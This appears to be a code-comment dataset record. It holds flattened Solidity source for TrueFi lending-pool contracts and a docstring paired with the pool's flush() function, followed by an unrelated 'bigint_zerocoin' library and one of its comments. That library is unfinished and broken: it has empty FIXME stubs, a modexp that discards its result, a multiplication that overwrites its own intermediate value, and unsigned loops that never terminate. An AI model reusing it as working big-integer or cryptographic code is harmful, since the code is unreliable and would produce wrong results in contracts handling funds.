x) internal pure returns (int128) { require(x <= 0x7FFFFFFFFFFFFFFF); return int128(x << 64); } /** * Calculate binary logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function log_2(int128 x) internal pure returns (int128) { require(x > 0); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; } if (xc >= 0x100000000) { xc >>= 32; msb += 32; } if (xc >= 0x10000) { xc >>= 16; msb += 16; } if (xc >= 0x100) { xc >>= 8; msb += 8; } if (xc >= 0x10) { xc >>= 4; msb += 4; } if (xc >= 0x4) { xc >>= 2; msb += 2; } if (xc >= 0x2) msb += 1; // No need to shift xc anymore int256 result = (msb - 64) << 64; uint256 ux = uint256(x) << uint256(127 - msb); for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256(b); } return int128(result); } /** * Calculate natural logarithm of x. Revert if x <= 0. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function ln(int128 x) internal pure returns (int128) { require(x > 0); return int128((uint256(log_2(x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF) >> 128); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; interface ICrvPriceOracle { function usdToCrv(uint256 amount) external view returns (uint256); function crvToUsd(uint256 amount) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; /** * @dev interface to allow standard pause function */ interface IPauseableContract { function setPauseStatus(bool pauseStatus) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {ITrueFiPool2} from "ITrueFiPool2.sol"; interface ILoanToken2 is IERC20 { enum Status {Awaiting, Funded, Withdrawn, Settled, Defaulted, Liquidated} function borrower() external view returns (address); function amount() external view returns (uint256); function term() external view returns (uint256); function apy() external view returns (uint256); function start() external view returns (uint256); function lender() external view returns (address); function debt() external view returns (uint256); function pool() external view returns (ITrueFiPool2); function profit() external view returns (uint256); function status() external view returns (Status); function getParameters() external view returns ( uint256, uint256, uint256 ); function fund() external; function withdraw(address _beneficiary) external; function settle() external; function enterDefault() external; function liquidate() external; function redeem(uint256 _amount) external; function repay(address _sender, uint256 _amount) external; function repayInFull(address _sender) external; function reclaim() external; function allowTransfer(address account, bool _status) external; function repaid() external view returns (uint256); function isRepaid() external view returns (bool); function balance() external view returns (uint256); function value(uint256 _balance) external view returns (uint256); function token() external view returns (ERC20); function version() external pure returns (uint8); } //interface IContractWithPool { // function pool() external view returns (ITrueFiPool2); //} // //// Had to be split because of multiple inheritance problem //interface ILoanToken2 is ILoanToken, IContractWithPool { // //} // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ITrueFiPool2} from "ITrueFiPool2.sol"; import {ILoanToken2} from "ILoanToken2.sol"; interface ITrueLender2 { // @dev calculate overall value of the pools function value(ITrueFiPool2 pool) external view returns (uint256); // @dev distribute a basket of tokens for exiting user function distribute( address recipient, uint256 numerator, uint256 denominator ) external; function transferAllLoanTokens(ILoanToken2 loan, address recipient) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; interface IERC20WithDecimals is IERC20 { function decimals() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20WithDecimals} from "IERC20WithDecimals.sol"; /** * @dev Oracle that converts any token to and from TRU * Used for liquidations and valuing of liquidated TRU in the pool */ interface ITrueFiPoolOracle { // token address function token() external view returns (IERC20WithDecimals); // amount of tokens 1 TRU is worth function truToToken(uint256 truAmount) external view returns (uint256); // amount of TRU 1 token is worth function tokenToTru(uint256 tokenAmount) external view returns (uint256); // USD price of token with 18 decimals function tokenToUsd(uint256 tokenAmount) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; pragma experimental ABIEncoderV2; interface I1Inch3 { struct SwapDescription { address srcToken; address dstToken; address srcReceiver; address dstReceiver; uint256 amount; uint256 minReturnAmount; uint256 flags; bytes permit; } function swap( address caller, SwapDescription calldata desc, bytes calldata data ) external returns ( uint256 returnAmount, uint256 gasLeft, uint256 chiSpent ); function unoswap( address srcToken, uint256 amount, uint256 minReturn, bytes32[] calldata /* pools */ ) external payable returns (uint256 returnAmount); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {ILoanToken2} from "ILoanToken2.sol"; interface IDeficiencyToken is IERC20 { function loan() external view returns (ILoanToken2); function burnFrom(address account, uint256 amount) external; function version() external pure returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IDeficiencyToken} from "IDeficiencyToken.sol"; import {ILoanToken2} from "ILoanToken2.sol"; interface ISAFU { function poolDeficit(address pool) external view returns (uint256); function deficiencyToken(ILoanToken2 loan) external view returns (IDeficiencyToken); function reclaim(ILoanToken2 loan, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ERC20, IERC20} from "UpgradeableERC20.sol"; import {ITrueLender2, ILoanToken2} from "ITrueLender2.sol"; import {ITrueFiPoolOracle} from "ITrueFiPoolOracle.sol"; import {I1Inch3} from "I1Inch3.sol"; import {ISAFU} from "ISAFU.sol"; interface ITrueFiPool2 is IERC20 { function initialize( ERC20 _token, ITrueLender2 _lender, ISAFU safu, address __owner ) external; function singleBorrowerInitialize( ERC20 _token, ITrueLender2 _lender, ISAFU safu, address __owner, string memory borrowerName, string memory borrowerSymbol ) external; function token() external view returns (ERC20); function oracle() external view returns (ITrueFiPoolOracle); function poolValue() external view returns (uint256); /** * @dev Ratio of liquid assets in the pool to the pool value */ function liquidRatio() external view returns (uint256); /** * @dev Ratio of liquid assets in the pool after lending * @param amount Amount of asset being lent */ function proFormaLiquidRatio(uint256 amount) external view returns (uint256); /** * @dev Join the pool by depositing tokens * @param amount amount of tokens to deposit */ function join(uint256 amount) external; /** * @dev borrow from pool * 1. Transfer TUSD to sender * 2. Only lending pool should be allowed to call this */ function borrow(uint256 amount) external; /** * @dev pay borrowed money back to pool * 1. Transfer TUSD from sender * 2. Only lending pool should be allowed to call this */ function repay(uint256 currencyAmount) external; /** * @dev SAFU buys LoanTokens from the pool */ function liquidate(ILoanToken2 loan) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {ILoanToken2} from "ILoanToken2.sol"; import {ITrueLender2} from "ITrueLender2.sol"; import {ISAFU} from "ISAFU.sol"; /** * @dev Library that has shared functions between legacy TrueFi Pool and Pool2 */ library PoolExtensions { function _liquidate( ISAFU safu, ILoanToken2 loan, ITrueLender2 lender ) internal { require(msg.sender == address(safu), "TrueFiPool: Should be called by SAFU"); lender.transferAllLoanTokens(loan, address(safu)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.10; import {IERC20} from "IERC20.sol"; import {ReentrancyGuard} from "ReentrancyGuard.sol"; import {SafeMath} from "SafeMath.sol"; import {SafeERC20} from "SafeERC20.sol"; import {ERC20} from "UpgradeableERC20.sol"; import {Ownable} from "UpgradeableOwnable.sol"; import {ICurveGauge, ICurveMinter, ICurvePool} from "ICurve.sol"; import {ITrueFiPool} from "ITrueFiPool.sol"; import {ITrueLender} from "ITrueLender.sol"; import {IUniswapRouter} from "IUniswapRouter.sol"; import {ABDKMath64x64} from "Log.sol"; import {ICrvPriceOracle} from "ICrvPriceOracle.sol"; import {IPauseableContract} from "IPauseableContract.sol"; import {ITrueFiPool2, ITrueFiPoolOracle, ITrueLender2, ILoanToken2, ISAFU} from "ITrueFiPool2.sol"; import {PoolExtensions} from "PoolExtensions.sol"; /** * @title TrueFi Pool * @dev Lending pool which uses curve.fi to store idle funds * Earn high interest rates on currency deposits through uncollateralized loans * * Funds deposited in this pool are not fully liquid. Liquidity * Exiting incurs an exit penalty depending on pool liquidity * After exiting, an account will need to wait for LoanTokens to expire and burn them * It is recommended to perform a zap or swap tokens on Uniswap for increased liquidity * * Funds are managed through an external function to save gas on deposits */ contract TrueFiPool is ITrueFiPool, IPauseableContract, ERC20, ReentrancyGuard, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // ================ WARNING ================== // ===== THIS CONTRACT IS INITIALIZABLE ====== // === STORAGE VARIABLES ARE DECLARED BELOW == // REMOVAL OR REORDER OF VARIABLES WILL RESULT // ========= IN STORAGE CORRUPTION =========== ICurvePool public _curvePool; ICurveGauge public _curveGauge; IERC20 public token; ITrueLender public _lender; ICurveMinter public _minter; IUniswapRouter public _uniRouter; // fee for deposits uint256 public joiningFee; // track claimable fees uint256 public claimableFees; mapping(address => uint256) latestJoinBlock; address private DEPRECATED__stakeToken; // cache values during sync for gas optimization bool private inSync; uint256 private yTokenValueCache; uint256 private loansValueCache; // TRU price oracle ITrueFiPoolOracle public oracle; // fund manager can call functions to help manage pool funds // fund manager can be set to 0 or governance address public fundsManager; // allow pausing of deposits bool public pauseStatus; // CRV price oracle ICrvPriceOracle public _crvOracle; ITrueLender2 public _lender2; ISAFU public safu; // ======= STORAGE DECLARATION END ============ // curve.fi data uint8 constant N_TOKENS = 4; uint8 constant TUSD_INDEX = 3; uint256 constant MAX_PRICE_SLIPPAGE = 10; // 0.1% /** * @dev Emitted when TrueFi oracle was changed * @param newOracle New oracle address */ event TruOracleChanged(ITrueFiPoolOracle newOracle); /** * @dev Emitted when CRV oracle was changed * @param newOracle New oracle address */ event CrvOracleChanged(ICrvPriceOracle newOracle); /** * @dev Emitted when funds manager is changed * @param newManager New manager address */ event FundsManagerChanged(address newManager); /** * @dev Emitted when fee is changed * @param newFee New fee */ event JoiningFeeChanged(uint256 newFee); /** * @dev Emitted when someone joins the pool * @param staker Account staking * @param deposited Amount deposited * @param minted Amount of pool tokens minted */ event Joined(address indexed staker, uint256 deposited, uint256 minted); /** * @dev Emitted when someone exits the pool * @param staker Account exiting * @param amount Amount unstaking */ event Exited(address indexed staker, uint256 amount); /** * @dev Emitted when funds are flushed into curve.fi * @param currencyAmount Amount of tokens deposited */ event Flushed(uint256 currencyAmount); /** * @dev Emitted when funds are pulled from curve.fi * @param yAmount Amount of pool tokens */ event Pulled(uint256 yAmount); /** * @dev Emitted when funds are borrowed from pool * @param borrower Borrower address * @param amount Amount of funds borrowed from pool * @param fee Fees collected from this transaction */ event Borrow(address borrower, uint256 amount, uint256 fee); /** * @dev Emitted when borrower repays the pool * @param payer Address of borrower * @param amount Amount repaid */ event Repaid(address indexed payer, uint256 amount); /** * @dev Emitted when fees are collected * @param beneficiary Account to receive fees * @param amount Amount of fees collected */ event Collected(address indexed beneficiary, uint256 amount); /** * @dev Emitted when joining is paused or unpaused * @param pauseStatus New pausing status */ event PauseStatusChanged(bool pauseStatus); /** * @dev Emitted when SAFU address is changed * @param newSafu New SAFU address */ event SafuChanged(ISAFU newSafu); /** * @dev only lender can perform borrowing or repaying */ modifier onlyLender() { require(msg.sender == address(_lender) || msg.sender == address(_lender2), "TrueFiPool: Caller is not the lender"); _; } /** * @dev pool can only be joined when it's unpaused */ modifier joiningNotPaused() { require(!pauseStatus, "TrueFiPool: Joining the pool is paused"); _; } /** * @dev only lender can perform borrowing or repaying */ modifier onlyOwnerOrManager() { require(msg.sender == owner() || msg.sender == fundsManager, "TrueFiPool: Caller is neither owner nor funds manager"); _; } /** * @dev ensure than as a result of running a function, * balance of `token` increases by at least `expectedGain` */ modifier exchangeProtector(uint256 expectedGain, IERC20 _token) { uint256 balanceBefore = _token.balanceOf(address(this)); _; uint256 balanceDiff = _token.balanceOf(address(this)).sub(balanceBefore); require(balanceDiff >= conservativePriceEstimation(expectedGain), "TrueFiPool: Not optimal exchange"); } /** * Sync values to avoid making expensive calls multiple times * Will set inSync to true, allowing getter functions to return cached values * Wipes cached values to save gas */ modifier sync() { // sync yTokenValueCache = yTokenValue(); loansValueCache = loansValue(); inSync = true; _; // wipe inSync = false; yTokenValueCache = 0; loansValueCache = 0; } function updateNameAndSymbolToLegacy() public { updateNameAndSymbol("Legacy TrueFi TrueUSD", "Legacy tfTUSD"); } /// @dev support borrow function from pool V2 function borrow(uint256 amount) external { borrow(amount, 0); } /** * @dev get currency token address * @return currency token address */ function currencyToken() public override view returns (IERC20) { return token; } /** * @dev set TrueLenderV2 */ function setLender2(ITrueLender2 lender2) public onlyOwner { require(address(_lender2) == address(0), "TrueFiPool: Lender 2 is already set"); _lender2 = lender2; } /** * @dev set funds manager address */ function setFundsManager(address newFundsManager) public onlyOwner { fundsManager = newFundsManager; emit FundsManagerChanged(newFundsManager); } /** * @dev set TrueFi price oracle token address * @param newOracle new oracle address */ function setTruOracle(ITrueFiPoolOracle newOracle) public onlyOwner { oracle = newOracle; emit TruOracleChanged(newOracle); } /** * @dev set CRV price oracle token address * @param newOracle new oracle address */ function setCrvOracle(ICrvPriceOracle newOracle) public onlyOwner { _crvOracle = newOracle; emit CrvOracleChanged(newOracle); } /** * @dev Allow pausing of deposits in case of emergency * @param status New deposit status */ function setPauseStatus(bool status) external override onlyOwnerOrManager { pauseStatus = status; emit PauseStatusChanged(status); } /** * @dev Change SAFU address */ function setSafuAddress(ISAFU _safu) external onlyOwner { safu = _safu; emit SafuChanged(_safu); } /** * @dev Get total balance of CRV tokens * @return Balance of stake tokens in this contract */ function crvBalance() public view returns (uint256) { if (address(_minter) == address(0)) { return 0; } return _minter.token().balanceOf(address(this)); } /** * @dev Get total balance of curve.fi pool tokens * @return Balance of y pool tokens in this contract */ function yTokenBalance() public view returns (uint256) { return _curvePool.token().balanceOf(address(this)).add(_curveGauge.balanceOf(address(this))); } /** * @dev Virtual value of yCRV tokens in the pool * Will return sync value if inSync * @return yTokenValue in USD. */ function yTokenValue() public view returns (uint256) { if (inSync) { return yTokenValueCache; } return yTokenBalance().mul(_curvePool.curve().get_virtual_price()).div(1 ether); } /** * @dev Price of CRV in USD * @return Oracle price of TRU in USD */ function crvValue() public view returns (uint256) { uint256 balance = crvBalance(); if (balance == 0 || address(_crvOracle) == address(0)) { return 0; } return conservativePriceEstimation(_crvOracle.crvToUsd(balance)); } /** * @dev Virtual value of liquid assets in the pool * @return Virtual liquid value of pool assets */ function liquidValue() public view returns (uint256) { return currencyBalance().add(yTokenValue()); } /** * @dev Return pool deficiency value, to be returned by safu * @return pool deficiency value */ function deficitValue() public view returns (uint256) { if (address(safu) == address(0)) { return 0; } return safu.poolDeficit(address(this)); } /** * @dev Calculate pool value in TUSD * "virtual price" of entire pool - LoanTokens, TUSD, curve y pool tokens * @return pool value in USD */ function poolValue() public view returns (uint256) { // this assumes defaulted loans are worth their full value return liquidValue().add(loansValue()).add(crvValue()).add(deficitValue()); } /** * @dev Virtual value of loan assets in the pool * Will return cached value if inSync * @return Value of loans in pool */ function loansValue() public view returns (uint256) { if (inSync) { return loansValueCache; } if (address(_lender2) != address(0)) { return _lender.value().add(_lender2.value(ITrueFiPool2(address(this)))); } return _lender.value(); } /** * @dev ensure enough curve.fi pool tokens are available * Check if current available amount of TUSD is enough and * withdraw remainder from gauge * @param neededAmount amount required */ function ensureEnoughTokensAreAvailable(uint256 neededAmount) internal { uint256 currentlyAvailableAmount = _curvePool.token().balanceOf(address(this)); if (currentlyAvailableAmount < neededAmount) { _curveGauge.withdraw(neededAmount.sub(currentlyAvailableAmount)); } } /** * @dev set pool join fee * @param fee new fee */ function setJoiningFee(uint256 fee) external onlyOwner { require(fee <= 10000, "TrueFiPool: Fee cannot exceed transaction value"); joiningFee = fee; emit JoiningFeeChanged(fee); } /** * @dev Join the pool by depositing currency tokens * @param amount amount of currency token to deposit */ function join(uint256 amount) external override joiningNotPaused { uint256 fee = amount.mul(joiningFee).div(10000); uint256 mintedAmount = mint(amount.sub(fee)); claimableFees = claimableFees.add(fee); latestJoinBlock[tx.origin] = block.number; require(token.transferFrom(msg.sender, address(this), amount)); emit Joined(msg.sender, amount, mintedAmount); } /** * @dev Exit pool only with liquid tokens * This function will withdraw TUSD but with a small penalty * Uses the sync() modifier to reduce gas costs of using curve * @param amount amount of pool tokens to redeem for underlying tokens */ function liquidExit(uint256 amount) external nonReentrant sync { require(block.number != latestJoinBlock[tx.origin], "TrueFiPool: Cannot join and exit in same block"); require(amount <= balanceOf(msg.sender), "TrueFiPool: Insufficient funds"); uint256 amountToWithdraw = poolValue().mul(amount).div(totalSupply()); require(amountToWithdraw <= liquidValue(), "TrueFiPool: Not enough liquidity in pool"); // burn tokens sent _burn(msg.sender, amount); if (amountToWithdraw > currencyBalance()) { removeLiquidityFromCurve(amountToWithdraw.sub(currencyBalance())); require(amountToWithdraw <= currencyBalance(), "TrueFiPool: Not enough funds were withdrawn from Curve"); } require(token.transfer(msg.sender, amountToWithdraw)); emit Exited(msg.sender, amountToWithdraw); } /** * @dev Deposit idle funds into curve.fi pool and stake in gauge * Called by owner to help manage funds in pool and save on gas for deposits * @param currencyAmount Amount of funds to deposit into curve */ function flush(uint256 currencyAmount) external { require(currencyAmount <= currencyBalance(), "TrueFiPool: Insufficient currency balance"); uint256 expectedMinYTokenValue = yTokenValue().add(conservativePriceEstimation(currencyAmount)); _curvePoolDeposit(currencyAmount); require(yTokenValue() >= expectedMinYTokenValue, "TrueFiPool: yToken value expected to be higher"); emit Flushed(currencyAmount); } function _curvePoolDeposit(uint256 currencyAmount) private { uint256[N_TOKENS] memory amounts = [0, 0, 0, currencyAmount]; token.safeApprove(address(_curvePool), currencyAmount); uint256 conservativeMinAmount = calcTokenAmount(currencyAmount).mul(999).div(1000); _curvePool.add_liquidity(amounts, conservativeMinAmount); // stake yCurve tokens in gauge uint256 yBalance = _curvePool.token().balanceOf(address(this)); _curvePool.token().safeApprove(address(_curveGauge), yBalance); _curveGauge.deposit(yBalance); } /** * @dev Remove liquidity from curve * @param yAmount amount of curve pool tokens * @param minCurrencyAmount minimum amount of tokens to withdraw */ function pull(uint256 yAmount, uint256 minCurrencyAmount) external onlyOwnerOrManager { require(yAmount <= yTokenBalance(), "TrueFiPool: Insufficient Curve liquidity balance"); // unstake in gauge ensureEnoughTokensAreAvailable(yAmount); // remove TUSD from curve _curvePool.token().safeApprove(address(_curvePool), yAmount); _curvePool.remove_liquidity_one_coin(yAmount, TUSD_INDEX, minCurrencyAmount, false); emit Pulled(yAmount); } // prettier-ignore /** * @dev Remove liquidity from curve if necessary and transfer to lender * @param amount amount for lender to withdraw */ function borrow(uint256 amount, uint256 fee) public override nonReentrant onlyLender { // if there is not enough TUSD, withdraw from curve if (amount > currencyBalance()) { removeLiquidityFromCurve(amount.sub(currencyBalance())); require(amount <= currencyBalance(), "TrueFiPool: Not enough funds in pool to cover borrow"); } mint(fee); require(token.transfer(msg.sender, amount.sub(fee))); emit Borrow(msg.sender, amount, fee); } function removeLiquidityFromCurve(uint256 amountToWithdraw) internal { // get rough estimate of how much yCRV we should sell uint256 roughCurveTokenAmount = calcTokenAmount(amountToWithdraw).mul(1005).div(1000); require(roughCurveTokenAmount <= yTokenBalance(), "TrueFiPool: Not enough Curve liquidity tokens in pool to cover borrow"); // pull tokens from gauge ensureEnoughTokensAreAvailable(roughCurveTokenAmount); // remove TUSD from curve _curvePool.token().safeApprove(address(_curvePool), roughCurveTokenAmount); uint256 minAmount = roughCurveTokenAmount.mul(_curvePool.curve().get_virtual_price()).mul(999).div(1000).div(1 ether); _curvePool.remove_liquidity_one_coin(roughCurveTokenAmount, TUSD_INDEX, minAmount, false); } /** * @dev repay debt by transferring tokens to the contract * @param currencyAmount amount to repay */ function repay(uint256 currencyAmount) external override onlyLender { require(token.transferFrom(msg.sender, address(this), currencyAmount)); emit Repaid(msg.sender, currencyAmount); } /** * @dev Collect CRV tokens minted by staking at gauge */ function collectCrv() external onlyOwnerOrManager { _minter.mint(address(_curveGauge)); } /** * @dev Sell collected CRV on Uniswap * - Selling CRV is managed by the contract owner * - Calculations can be made off-chain and called based on market conditions * - Need to pass path of exact pairs to go through while executing exchange * For example, CRV -> WETH -> TUSD * * @param amountIn see https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens * @param amountOutMin see https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens * @param path see https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensfortokens */ function sellCrv( uint256 amountIn, uint256 amountOutMin, address[] calldata path ) public exchangeProtector(_crvOracle.crvToUsd(amountIn), token) { _minter.token().safeApprove(address(_uniRouter), amountIn); _uniRouter.swapExactTokensForTokens(amountIn, amountOutMin, path, address(this), block.timestamp + 1 hours); } /** * @dev Claim fees from the pool * @param beneficiary account to send funds to */ function collectFees(address beneficiary) external onlyOwnerOrManager { uint256 amount = claimableFees; claimableFees = 0; if (amount > 0) { require(token.transfer(beneficiary, amount)); } emit Collected(beneficiary, amount); } /** * @dev Function called by SAFU when liquidation happens. It will transfer all tokens of this loan the SAFU */ function liquidate(ILoanToken2 loan) external { PoolExtensions._liquidate(safu, loan, _lender2); } /** * @notice Expected amount of minted Curve.fi yDAI/yUSDC/yUSDT/yTUSD tokens. * Can be used to control slippage * Called in flush() function * @param currencyAmount amount to calculate for * @return expected amount minted given currency amount */ function calcTokenAmount(uint256 currencyAmount) public view returns (uint256) { // prettier-ignore uint256 yTokenAmount = currencyAmount.mul(1e18).div( _curvePool.coins(TUSD_INDEX).getPricePerFullShare()); uint256[N_TOKENS] memory yAmounts = [0, 0, 0, yTokenAmount]; return _curvePool.curve().calc_token_amount(yAmounts, true); } /** * @dev Currency token balance * @return Currency token balance */ function currencyBalance() public view returns (uint256) { return token.balanceOf(address(this)).sub(claimableFees); } /** * @param depositedAmount Amount of currency deposited * @return amount minted from this transaction */ function mint(uint256 depositedAmount) internal returns (uint256) { uint256 mintedAmount = depositedAmount; if (mintedAmount == 0) { return mintedAmount; } // first staker mints same amount deposited if (totalSupply() > 0) { mintedAmount = totalSupply().mul(depositedAmount).div(poolValue()); } // mint pool tokens _mint(msg.sender, mintedAmount); return mintedAmount; } /** * @dev Calculate price minus max percentage of slippage during exchange * This will lead to the pool value become a bit undervalued * compared to the oracle price but will ensure that the value doesn't drop * when token exchanges are performed. */ function conservativePriceEstimation(uint256 price) internal pure returns (uint256) { return price.mul(uint256(10000).sub(MAX_PRICE_SLIPPAGE)).div(10000); } }
Deposit idle funds into curve.fi pool and stake in gauge Called by owner to help manage funds in pool and save on gas for deposits currencyAmount Amount of funds to deposit into curve/
function flush(uint256 currencyAmount) external { require(currencyAmount <= currencyBalance(), "TrueFiPool: Insufficient currency balance"); uint256 expectedMinYTokenValue = yTokenValue().add(conservativePriceEstimation(currencyAmount)); _curvePoolDeposit(currencyAmount); require(yTokenValue() >= expectedMinYTokenValue, "TrueFiPool: yToken value expected to be higher"); emit Flushed(currencyAmount); }
12,253,131
pragma solidity ^0.4.8; // Taken from ZCoin ether mixing contract contract bigint_zerocoin { /* * Bigint library for use with the Zerocoin protocol implementation at address x; * It is however designed for general use. * @author Tadhg Riordan (github.com/riordant) */ uint constant VALUE = 0; uint constant SIGN = 1; uint constant LEFT = 0; uint constant RIGHT = 1; int constant LT = -1; int constant EQ = 0; int constant GT = 1; //for comparison uint uint_size = 256; uint half = 2**(uint_size/2); // Half bitwidth uint low = half - 1; // Low mask uint high = low << (uint_size/2); // High mask uint max = low | high; // Max uint value //values for bitsize function - log2 of uint uint[8] log2_a = [2, 12, 240, 65280, 4294901760, 18446744069414584320, 340282366920938463444927863358058659840, 115792089237316195423570985008687907852929702298719625575994209400481361428480]; uint[8] log2_b = [1, 2, 4, 8, 16, 32, 64, 128]; //bigints are of size 256, 512, 1024 or 2048; so size passed as 1,2,4 or 8 respectively. struct bigint { uint size; uint[] value; //0-n index: LSB-MSB bits. bytes _bytes; //byte encoding of value (for precompiled contract calls) bool negative; } //usually we can call the struct constructor directly. this is useful where we have single uint values function create_bigint(uint _size, uint _value, bool _negative) returns (bigint new_bigint){ new_bigint.size = _size; new_bigint.value = new uint[](_size); new_bigint.value[0] = _value; for(uint i=1;i<_size;i++) { new_bigint.value[i] = 0; } new_bigint._bytes = new bytes(_size * 8); //FIXME add method to cast uint to byte array new_bigint.negative = _negative; return new_bigint; } function add(bigint a, bigint b) private constant returns(bigint sum, uint carry) { uint max = a.size > b.size ? a.size : b.size; uint[] memory empty = new uint[](max); bytes _empty; sum = bigint(max, empty, _empty, false); //set output size to max size of inputs. // Start from the least significant bits for (uint i = 0; i < sum.size; ++i){ sum.value[i] = a.value[i] + b.value[i] + carry; if (a.value[i] > max - b.value[i] - carry) // Check for overflow carry = 1; else if (a.value[i] == max && (carry > 0 || b.value[i] > 0)) // Special case carry = 1; else carry = 0; } return (sum, carry); //carry is 1 if overflow } function sub(bigint a, bigint b) private constant returns(bigint diff, uint borrow) { uint max = a.size > b.size ? a.size : b.size; uint[] memory empty = new uint[](max); bytes _empty; diff = bigint(max, empty, _empty, false); //set output size to max size of inputs. // Start from the least significant bits for (uint i = 0; i < a.size; ++i){ diff.value[i] = a.value[i] - b.value[i] - borrow; if (a.value[i] < b.value[i] + borrow || (b.value[i] == max && borrow == 1)) // Check for underflow borrow = 1; else borrow = 0; } return (diff, borrow); //carry is 1 if underflow } function mul(bigint a, bigint b) private returns(bigint res){ // a * b = ((a + b)**2 - (a - b)**2) / 4 // we use modexp contract for exponentiations, passing modulus as 1|0*n, where n = 2 * bit length of (a+b) bigint memory add_and_modexp; bigint memory sub_and_modexp; bigint memory modulus; bigint memory two = create_bigint(1,2,false); uint _sign; uint mod_index; (add_and_modexp, _sign) = add(a,b); if(_sign==1) throw; //if overflow modulus = create_bigint((add_and_modexp.size*2), 0, false); mod_index = get_bit_size(add_and_modexp)*2; modulus.value[mod_index/max] = 1 << (mod_index%max); //set this index to be 1. add_and_modexp = _modexp(add_and_modexp,two,modulus); (sub_and_modexp, _sign) = sub(a,b); if(_sign==1) throw; //if underflow modulus = create_bigint((sub_and_modexp.size*2), 0, false); mod_index = get_bit_size(sub_and_modexp)*2; modulus.value[mod_index/max] = 1 << (mod_index%max); //set this index to be 1. add_and_modexp = _modexp(sub_and_modexp,two,modulus); (res, _sign) = sub(add_and_modexp,sub_and_modexp); res = right_shift(res, 2); // LHS - RHS / 4 return res; } function modmul(bigint a, bigint b, bigint modulus) private returns(bigint n){ //calls to modexp with certain values uint _sign; bigint memory add_and_modexp; bigint memory sub_and_modexp; bigint memory two = create_bigint(1,2,false); (add_and_modexp, _sign) = add(a,b); if(_sign==1) throw; add_and_modexp = _modexp(add_and_modexp,two,modulus); (sub_and_modexp, _sign) = sub(a,b); //no need to handle sign as squared negative==squared positive value. sub_and_modexp = _modexp(sub_and_modexp,two,modulus); (n, _sign) = sub(add_and_modexp,sub_and_modexp); if(_sign==1){ //underflow. add modulus and n (same result achieved with modulus-(n without sign)) (n, _sign) = sub(modulus,n); } //Now divide twice by 2 % m. for(int i=0;i<=1;i++){ (n, _sign) = add(n, modulus); if(n.value[0]%2==0 && cmp(n,modulus) == LT){ //n is even and < modulus n = right_shift(n,1); } else { //n is odd. add modulus (n, _sign) = add(n,modulus); n = right_shift(n,1); } } return n; } function _modexp(bigint base, bigint exponent, bigint modulus) private returns(bigint result) { if(exponent.negative==true){ // g^-x = (g^-1)^x base = inverse(base, modulus); exponent.negative = false; //make e positive } bytes memory _result = modexp(base._bytes,exponent._bytes,modulus._bytes); //not recursive - precompiled contract external call bytes memory _result; bigint memory result = new bigint(modulus.size, bytes_to_bigint(_result), _result, false); result = create_bigint(0,0,false); return result; } function inverse(bigint base, bigint modulus) private returns(bigint new_bigint){ //FIXME //Turn this into oracle call //verify with modmul - verify (base * result) % m == 1 return new_bigint; } function right_shift(bigint dividend, uint value) returns(bigint r){ r = dividend; uint shift_value = uint_size-value; for(uint i = dividend.size-1; i>=0;i--){ r.value[i] = (dividend.value[i] >> value) | (dividend.value[(i==(dividend.size-1) ? 0 : (i+1)] << shift_value); } } /* * Comparison function. * handles negativity and different sizes of inputs. */ function cmp(bigint a, bigint b) returns (int) { if(is_zero(a) && is_zero(b)) return 0; if(a.negative == true && b.negative == false) return -1; if(a.negative == false && b.negative == true) return 1; //at this point both signs are the same; ie. either negative or positive, //and so return opposite results depending on sign. //to handle different sized inputs, get largest and see if it has a value //at any of the uints greater than the size of the smallest. uint i; if(a.size > b.size){ for(i=a.size-1; i>(a.size-1-(a.size-b.size));i--){ if(a.value[i]>0) return ((a.negative==false) ? GT : LT); } } else if(b.size > a.size){ for(i=b.size-1; i>(b.size-1-(b.size-a.size));i--){ if(b.value[i]>0) return ((b.negative==false) ? GT : LT); } } //main loop. only compares up to size of minimum bigint for(;i>=0;i--){ if(a.value[i] > b.value[i]) return (a.negative==false ? GT : LT); else if(b.value[i] > a.value[i]) return (a.negative==false ? GT : LT); } //returns equality if no difference found. return EQ; } function is_zero(bigint bi) returns (bool) { for(uint i=0;i<bi.size;i++){ if(bi.value[i] != 0){ return false; } } return true; } function get_bit_size(bigint n) returns (uint r){ //gets bit size of bigint. //start from most significant uint and loop until > 0. //could also potentially be oraclized as it's verifiable in a single operation: true iff ((n >> result) == 1) for(uint i=n.size;i>=0;i--){ if(n.value[i] > 0){ //uses log2 function with lookup to find MSB (Bit Twiddling Hacks - Sean Eron Anderson) r = 0; for (int j = 8; i >= 0; i--) {// unrolling if ((n.value[i] & log2_a[i]) == 1){ n.value[i] >>= log2_b[i]; r |= log2_b[i]; } } return r + (256 * i); //include bits from remaining uints } } return 0; //if empty bigint } function bigint_to_bytes(uint[4] n) returns (bytes32[4] b) { //FIXME assembly implementation } function bytes_to_bigint(bytes n) returns (uint[] b) { //FIXME assembly implementation } }
a b = ((a + b)2 - (a - b)2) / 4 we use modexp contract for exponentiations, passing modulus as 1|0n, where n = 2 bit length of (a+b)
